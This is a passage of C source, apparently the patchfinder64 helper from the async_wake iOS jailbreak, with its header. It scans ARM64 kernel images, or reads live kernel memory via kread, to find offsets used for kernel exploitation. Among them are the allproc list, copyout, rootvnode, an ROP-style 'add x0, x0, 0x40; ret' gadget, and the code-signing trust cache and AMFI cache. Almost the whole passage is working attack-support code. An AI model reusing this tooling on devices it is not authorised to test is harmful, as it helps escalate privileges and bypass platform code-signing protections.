0x9F000000) == 0x90000000) { 263 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 264 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); 265 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF); 266 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { 267 | unsigned rd = op & 0x1F; 268 | unsigned rm = (op >> 16) & 0x1F; 269 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm); 270 | value[rd] = value[rm];*/ 271 | } else if ((op & 0xFF000000) == 0x91000000) { 272 | unsigned rn = (op >> 5) & 0x1F; 273 | unsigned shift = (op >> 22) & 3; 274 | unsigned imm = (op >> 10) & 0xFFF; 275 | if (shift == 1) { 276 | imm <<= 12; 277 | } else { 278 | //assert(shift == 0); 279 | if (shift > 1) continue; 280 | } 281 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); 282 | value[reg] = value[rn] + imm; 283 | } else if ((op & 0xF9C00000) == 0xF9400000) { 284 | unsigned rn = (op >> 5) & 0x1F; 285 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 286 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 287 | if (!imm) continue; // XXX not counted as true xref 288 | value[reg] = value[rn] + imm; // XXX address, not actual value 289 | /*} else if ((op & 0xF9C00000) == 0xF9000000) { 290 | unsigned rn = (op >> 5) & 0x1F; 291 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 292 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 293 | if (!imm) continue; // XXX not counted as true xref 294 | value[rn] = value[rn] + imm; // XXX address, not actual value*/ 295 | } else if ((op & 0x9F000000) == 0x10000000) { 296 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 297 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); 298 | value[reg] = ((long long)adr >> 11) + i; 299 | } else if ((op & 0xFF000000) == 0x58000000) { 300 | unsigned adr = (op & 0xFFFFE0) >> 3; 301 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); 302 | value[reg] = adr + i; // XXX address, not actual value 303 | } 304 | if (value[reg] == what) { 305 | return i; 306 | } 307 | } 308 | return 0; 309 | } 310 | 311 | static addr_t 312 | calc64(const uint8_t *buf, addr_t start, addr_t end, int which) 313 | { 314 | addr_t i; 315 | uint64_t value[32]; 316 | 317 | memset(value, 0, sizeof(value)); 318 | 319 | end &= ~3; 320 | for (i = start & ~3; i < end; i += 4) { 321 | uint32_t op = *(uint32_t *)(buf + i); 322 | unsigned reg = op & 0x1F; 323 | if ((op & 0x9F000000) == 0x90000000) { 324 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 325 | //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); 326 | value[reg] = ((long long)adr << 1) + (i & ~0xFFF); 327 | /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { 328 | unsigned rd = op & 0x1F; 329 | unsigned rm = (op >> 16) & 0x1F; 330 | //printf("%llx: MOV X%d, X%d\n", i, rd, rm); 331 | value[rd] = value[rm];*/ 332 | } else if ((op & 0xFF000000) == 0x91000000) { 333 | unsigned rn = (op >> 5) & 0x1F; 334 | unsigned shift = (op >> 22) & 3; 335 | unsigned imm = (op >> 10) & 0xFFF; 336 | if (shift == 1) { 337 | imm <<= 12; 338 | } else { 339 | //assert(shift == 0); 340 | if (shift > 1) continue; 341 | } 342 | //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); 343 | value[reg] = value[rn] + imm; 344 | } else if ((op & 0xF9C00000) == 0xF9400000) { 345 | unsigned rn = (op >> 5) & 0x1F; 346 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 347 | //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 348 | if (!imm) continue; // XXX not counted as true xref 349 | value[reg] = value[rn] + imm; // XXX address, not actual value 350 | } else if ((op & 0xF9C00000) == 0xF9000000) { 351 | unsigned rn = (op >> 5) & 0x1F; 352 | unsigned imm = ((op >> 10) & 0xFFF) << 3; 353 | //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); 354 | if (!imm) continue; // XXX not counted as true xref 355 | value[rn] = value[rn] + imm; // XXX address, not actual value 356 | } else if ((op & 0x9F000000) == 0x10000000) { 357 | signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); 358 | //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); 359 | value[reg] = ((long long)adr >> 11) + i; 360 | } else if ((op & 0xFF000000) == 0x58000000) { 361 | unsigned adr = (op & 0xFFFFE0) >> 3; 362 | //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); 363 | value[reg] = adr + i; // XXX address, not actual value 364 | } 365 | } 366 | return value[which]; 367 | } 368 | 369 | static addr_t 370 | calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which) 371 | { 372 | addr_t i; 373 | uint64_t value[32]; 374 | 375 | memset(value, 0, sizeof(value)); 376 | 377 | end &= ~3; 378 | for (i = start & ~3; i < end; i += 4) { 379 | uint32_t op = *(uint32_t *)(buf + i); 380 | unsigned reg = op & 0x1F; 381 | uint64_t newval; 382 | int rv = DecodeMov(op, value[reg], 0, &newval); 383 | if (rv == 0) { 384 | if (((op >> 31) & 1) == 0) { 385 | newval &= 0xFFFFFFFF; 386 | } 387 | value[reg] = newval; 388 | } 389 | } 390 | return value[which]; 391 | } 392 | 393 | static addr_t 394 | find_call64(const uint8_t *buf, addr_t start, size_t length) 395 | { 396 | return step64(buf, start, length, 0x94000000, 0xFC000000); 397 | } 398 | 399 | static addr_t 400 | follow_call64(const uint8_t *buf, addr_t call) 401 | { 402 | long long w; 403 | w = *(uint32_t *)(buf + call) & 0x3FFFFFF; 404 | w <<= 64 - 26; 405 | w >>= 64 - 26 - 2; 406 | return call + w; 407 | } 408 | 409 | static addr_t 410 | follow_cbz(const uint8_t *buf, addr_t cbz) 411 | { 412 | return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13); 413 | } 414 | 415 | /* kernel iOS10 **************************************************************/ 416 | 417 | #include 418 | #include 419 | #include 420 | #include 421 | #include 422 | 423 | #define __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 424 | 425 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 426 | #include 427 | size_t kread(uint64_t where, void *p, size_t size); 428 | #endif 429 | 430 | static uint8_t *kernel = NULL; 431 | static size_t kernel_size = 0; 432 | 433 | static addr_t xnucore_base = 0; 434 | static addr_t xnucore_size = 0; 435 | static addr_t prelink_base = 0; 436 | static addr_t prelink_size = 0; 437 | static addr_t cstring_base = 0; 438 | static addr_t cstring_size = 0; 439 | static addr_t pstring_base = 0; 440 | static addr_t pstring_size = 0; 441 | static addr_t kerndumpbase = -1; 442 | static addr_t kernel_entry = 0; 443 | static void *kernel_mh = 0; 444 | static addr_t kernel_delta = 0; 445 | 446 | int 447 | init_kernel(addr_t base, const char *filename) 448 | { 449 | size_t rv; 450 | uint8_t buf[0x4000]; 451 | unsigned i, j; 452 | const struct mach_header *hdr = (struct mach_header *)buf; 453 | const uint8_t *q; 454 | addr_t min = -1; 455 | addr_t max = 0; 456 | int is64 = 0; 457 | 458 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 459 | #define close(f) 460 | rv = kread(base, buf, sizeof(buf)); 461 | if (rv != sizeof(buf)) { 462 | return -1; 463 | } 464 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 465 | int fd = open(filename, O_RDONLY); 466 | if (fd < 0) { 467 | return -1; 468 | } 469 | 470 | rv = read(fd, buf, sizeof(buf)); 471 | if (rv != sizeof(buf)) { 472 | close(fd); 473 | return -1; 474 | } 475 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 476 | 477 | if (!MACHO(buf)) { 478 | close(fd); 479 | return -1; 480 | } 481 | 482 | if (IS64(buf)) { 483 | is64 = 4; 484 | } 485 | 486 | q = buf + sizeof(struct mach_header) + is64; 487 | for (i = 0; i < hdr->ncmds; i++) { 488 | const struct load_command *cmd = (struct load_command *)q; 489 | if (cmd->cmd == LC_SEGMENT_64) { 490 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 491 | if (min > seg->vmaddr) { 492 | min = seg->vmaddr; 493 | } 494 | if (max < seg->vmaddr + seg->vmsize) { 495 | max = seg->vmaddr + seg->vmsize; 496 | } 497 | if (!strcmp(seg->segname, "__TEXT_EXEC")) { 498 | xnucore_base = seg->vmaddr; 499 | xnucore_size = seg->filesize; 500 | } 501 | if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) { 502 | prelink_base = seg->vmaddr; 503 | prelink_size = seg->filesize; 504 | } 505 | if (!strcmp(seg->segname, "__TEXT")) { 506 | const struct section_64 *sec = (struct section_64 *)(seg + 1); 507 | for (j = 0; j < seg->nsects; j++) { 508 | if (!strcmp(sec[j].sectname, "__cstring")) { 509 | cstring_base = sec[j].addr; 510 | cstring_size = sec[j].size; 511 | } 512 | } 513 | } 514 | if (!strcmp(seg->segname, "__PRELINK_TEXT")) { 515 | const struct section_64 *sec = (struct section_64 *)(seg + 1); 516 | for (j = 0; j < seg->nsects; j++) { 517 | if (!strcmp(sec[j].sectname, "__text")) { 518 | pstring_base = sec[j].addr; 519 | pstring_size = sec[j].size; 520 | } 521 | } 522 | } 523 | if (!strcmp(seg->segname, "__LINKEDIT")) { 524 | kernel_delta = seg->vmaddr - min - seg->fileoff; 525 | } 526 | } 527 | if (cmd->cmd == LC_UNIXTHREAD) { 528 | uint32_t *ptr = (uint32_t *)(cmd + 1); 529 | uint32_t flavor = ptr[0]; 530 | struct { 531 | uint64_t x[29]; /* General purpose registers x0-x28 */ 532 | uint64_t fp; /* Frame pointer x29 */ 533 | uint64_t lr; /* Link register x30 */ 534 | uint64_t sp; /* Stack pointer x31 */ 535 | uint64_t pc; /* Program counter */ 536 | uint32_t cpsr; /* Current program status register */ 537 | } *thread = (void *)(ptr + 2); 538 | if (flavor == 6) { 539 | kernel_entry = thread->pc; 540 | } 541 | } 542 | q = q + cmd->cmdsize; 543 | } 544 | 545 | kerndumpbase = min; 546 | xnucore_base -= kerndumpbase; 547 | prelink_base -= kerndumpbase; 548 | cstring_base -= kerndumpbase; 549 | pstring_base -= kerndumpbase; 550 | kernel_size = max - min; 551 | 552 | #ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ 553 | kernel = malloc(kernel_size); 554 | if (!kernel) { 555 | return -1; 556 | } 557 | rv = kread(kerndumpbase, kernel, kernel_size); 558 | if (rv != kernel_size) { 559 | free(kernel); 560 | return -1; 561 | } 562 | 563 | kernel_mh = kernel + base - min; 564 | 565 | (void)filename; 566 | #undef close 567 | #else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 568 | kernel = calloc(1, kernel_size); 569 | if (!kernel) { 570 | close(fd); 571 | return -1; 572 | } 573 | 574 | q = buf + sizeof(struct mach_header) + is64; 575 | for (i = 0; i < hdr->ncmds; i++) { 576 | const struct load_command *cmd = (struct load_command *)q; 577 | if (cmd->cmd == LC_SEGMENT_64) { 578 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 579 | size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff); 580 | if (sz != seg->filesize) { 581 | close(fd); 582 | free(kernel); 583 | return -1; 584 | } 585 | if (!kernel_mh) { 586 | kernel_mh = kernel + seg->vmaddr - min; 587 | } 588 | printf("%s\n", seg->segname); 589 | if (!strcmp(seg->segname, "__LINKEDIT")) { 590 | kernel_delta = seg->vmaddr - min - seg->fileoff; 591 | } 592 | } 593 | q = q + cmd->cmdsize; 594 | } 595 | 596 | close(fd); 597 | 598 | (void)base; 599 | #endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */ 600 | return 0; 601 | } 602 | 603 | void 604 | term_kernel(void) 605 | { 606 | free(kernel); 607 | } 608 | 609 | /* these operate on VA ******************************************************/ 610 | 611 | #define INSN_RET 0xD65F03C0, 0xFFFFFFFF 612 | #define INSN_CALL 0x94000000, 0xFC000000 613 | #define INSN_B 0x14000000, 0xFC000000 614 | #define INSN_CBZ 0x34000000, 0xFC000000 615 | 616 | addr_t 617 | find_register_value(addr_t where, int reg) 618 | { 619 | addr_t val; 620 | addr_t bof = 0; 621 | where -= kerndumpbase; 622 | if (where > xnucore_base) { 623 | bof = bof64(kernel, xnucore_base, where); 624 | if (!bof) { 625 | bof = xnucore_base; 626 | } 627 | } else if (where > prelink_base) { 628 | bof = bof64(kernel, prelink_base, where); 629 | if (!bof) { 630 | bof = prelink_base; 631 | } 632 | } 633 | val = calc64(kernel, bof, where, reg); 634 | if (!val) { 635 | return 0; 636 | } 637 | return val + kerndumpbase; 638 | } 639 | 640 | addr_t 641 | find_reference(addr_t to, int n, int prelink) 642 | { 643 | addr_t ref, end; 644 | addr_t base = xnucore_base; 645 | addr_t size = xnucore_size; 646 | if (prelink) { 647 | base = prelink_base; 648 | size = prelink_size; 649 | } 650 | if (n <= 0) { 651 | n = 1; 652 | } 653 | end = base + size; 654 | to -= kerndumpbase; 655 | do { 656 | ref = xref64(kernel, base, end, to); 657 | if (!ref) { 658 | return 0; 659 | } 660 | base = ref + 4; 661 | } while (--n > 0); 662 | return ref + kerndumpbase; 663 | } 664 | 665 | addr_t 666 | find_strref(const char *string, int n, int prelink) 667 | { 668 | uint8_t *str; 669 | addr_t base = cstring_base; 670 | addr_t size = cstring_size; 671 | if (prelink) { 672 | base = pstring_base; 673 | size = pstring_size; 674 | } 675 | str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string)); 676 | if (!str) { 677 | return 0; 678 | } 679 | return find_reference(str - kernel + kerndumpbase, n, prelink); 680 | } 681 | 682 | /****** fun *******/ 683 | 684 | addr_t find_add_x0_x0_0x40_ret(void) { 685 | addr_t off; 686 | uint32_t *k; 687 | k = (uint32_t *)(kernel + xnucore_base); 688 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 689 | if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { 690 | return off + xnucore_base + kerndumpbase; 691 | } 692 | } 693 | k = (uint32_t *)(kernel + prelink_base); 694 | for (off = 0; off < prelink_size - 4; off += 4, k++) { 695 | if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) { 696 | return off + prelink_base + kerndumpbase; 697 | } 698 | } 699 | return 0; 700 | } 701 | 702 | uint64_t find_allproc(void) { 703 | // Find the first reference to the string 704 | addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0); 705 | if (!ref) { 706 | return 0; 707 | } 708 | ref -= kerndumpbase; 709 | 710 | uint64_t start = bof64(kernel, xnucore_base, ref); 711 | if (!start) { 712 | return 0; 713 | } 714 | 715 | // Find AND W8, W8, #0xFFFFDFFF - it's a pretty distinct instruction 716 | addr_t weird_instruction = 0; 717 | for (int i = 4; i < 4*0x100; i+=4) { 718 | uint32_t op = *(uint32_t *)(kernel + ref + i); 719 | if (op == 0x12127908) { 720 | weird_instruction = ref+i; 721 | break; 722 | } 723 | } 724 | if (!weird_instruction) { 725 | return 0; 726 | } 727 | 728 | uint64_t val = calc64(kernel, start, weird_instruction - 8, 8); 729 | if (!val) { 730 | printf("Failed to calculate x8"); 731 | return 0; 732 | } 733 | 734 | return val + kerndumpbase; 735 | } 736 | 737 | uint64_t find_copyout(void) { 738 | // Find the first reference to the string 739 | addr_t ref = find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0); 740 | if (!ref) { 741 | return 0; 742 | } 743 | ref -= kerndumpbase; 744 | 745 | uint64_t start = 0; 746 | for (int i = 4; i < 0x100*4; i+=4) { 747 | uint32_t op = *(uint32_t*)(kernel+ref-i); 748 | if (op == 0xd10143ff) { // SUB SP, SP, #0x50 749 | start = ref-i; 750 | break; 751 | } 752 | } 753 | if (!start) { 754 | return 0; 755 | } 756 | 757 | return start + kerndumpbase; 758 | } 759 | 760 | uint64_t find_bzero(void) { 761 | // Just find SYS #3, c7, c4, #1, X3, then get the start of that function 762 | addr_t off; 763 | uint32_t *k; 764 | k = (uint32_t *)(kernel + xnucore_base); 765 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 766 | if (k[0] == 0xd50b7423) { 767 | off += xnucore_base; 768 | break; 769 | } 770 | } 771 | 772 | uint64_t start = bof64(kernel, xnucore_base, off); 773 | if (!start) { 774 | return 0; 775 | } 776 | 777 | return start + kerndumpbase; 778 | } 779 | 780 | addr_t find_bcopy(void) { 781 | // Jumps straight into memmove after switching x0 and x1 around 782 | // Guess we just find the switch and that's it 783 | addr_t off; 784 | uint32_t *k; 785 | k = (uint32_t *)(kernel + xnucore_base); 786 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 787 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { 788 | return off + xnucore_base + kerndumpbase; 789 | } 790 | } 791 | k = (uint32_t *)(kernel + prelink_base); 792 | for (off = 0; off < prelink_size - 4; off += 4, k++) { 793 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { 794 | return off + prelink_base + kerndumpbase; 795 | } 796 | } 797 | return 0; 798 | } 799 | 800 | uint64_t find_rootvnode(void) { 801 | // Find the first reference to the string 802 | addr_t ref = find_strref("/var/run/.vfs_rsrc_streams_%p%x", 1, 0); 803 | if (!ref) { 804 | return 0; 805 | } 806 | ref -= kerndumpbase; 807 | 808 | uint64_t start = bof64(kernel, xnucore_base, ref); 809 | if (!start) { 810 | return 0; 811 | } 812 | 813 | // Find MOV X9, #0x2000000000 - it's a pretty distinct instruction 814 | addr_t weird_instruction = 0; 815 | for (int i = 4; i < 4*0x100; i+=4) { 816 | uint32_t op = *(uint32_t *)(kernel + ref - i); 817 | if (op == 0xB25B03E9) { 818 | weird_instruction = ref-i; 819 | break; 820 | } 821 | } 822 | if (!weird_instruction) { 823 | return 0; 824 | } 825 | 826 | uint64_t val = calc64(kernel, start, weird_instruction, 8); 827 | if (!val) { 828 | return 0; 829 | } 830 | 831 | return val + kerndumpbase; 832 | } 833 | 834 | addr_t find_trustcache(void) { 835 | addr_t call, func, val; 836 | addr_t ref = find_strref("com.apple.MobileFileIntegrity", 1, 1); 837 | if (!ref) { 838 | return 0; 839 | } 840 | ref -= kerndumpbase; 841 | call = step64(kernel, ref, 32, INSN_CALL); 842 | if (!call) { 843 | return 0; 844 | } 845 | call = step64(kernel, call+4, 32, INSN_CALL); 846 | func = follow_call64(kernel, call); 847 | if (!func) { 848 | return 0; 849 | } 850 | val = calc64(kernel, func, func + 16, 8); 851 | if (!val) { 852 | return 0; 853 | } 854 | return val + kerndumpbase; 855 | } 856 | 857 | addr_t find_amficache(void) { 858 | addr_t call, func, bof, val; 859 | addr_t ref = find_strref("com.apple.MobileFileIntegrity", 1, 1); 860 | if (!ref) { 861 | return 0; 862 | } 863 | ref -= kerndumpbase; 864 | call = step64(kernel, ref, 32, INSN_CALL); 865 | if (!call) { 866 | return 0; 867 | } 868 | call = step64(kernel, call+4, 32, INSN_CALL); 869 | func = follow_call64(kernel, call); 870 | if (!func) { 871 | return 0; 872 | } 873 | bof = bof64(kernel, func - 256, func); 874 | if (!bof) { 875 | return 0; 876 | } 877 | val = calc64(kernel, bof, func, 9); 878 | if (!val) { 879 | return 0; 880 | } 881 | return val + kerndumpbase; 882 | } 883 | -------------------------------------------------------------------------------- /async_wake_ios/the_fun_part/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | int init_kernel(uint64_t base, const char *filename); 5 | void term_kernel(void); 6 | 7 | // Fun part 8 | uint64_t find_allproc(void); 9 | uint64_t find_add_x0_x0_0x40_ret(void); 10 | uint64_t find_copyout(void); 11 | uint64_t find_bzero(void); 12 | uint64_t find_bcopy(void); 13 | uint64_t find_rootvnode(void); 14 | uint64_t find_trustcache(void); 15 | uint64_t find_amficache(void); 16 | 17 | #endif 18 | --------------------------------------------------------------------------------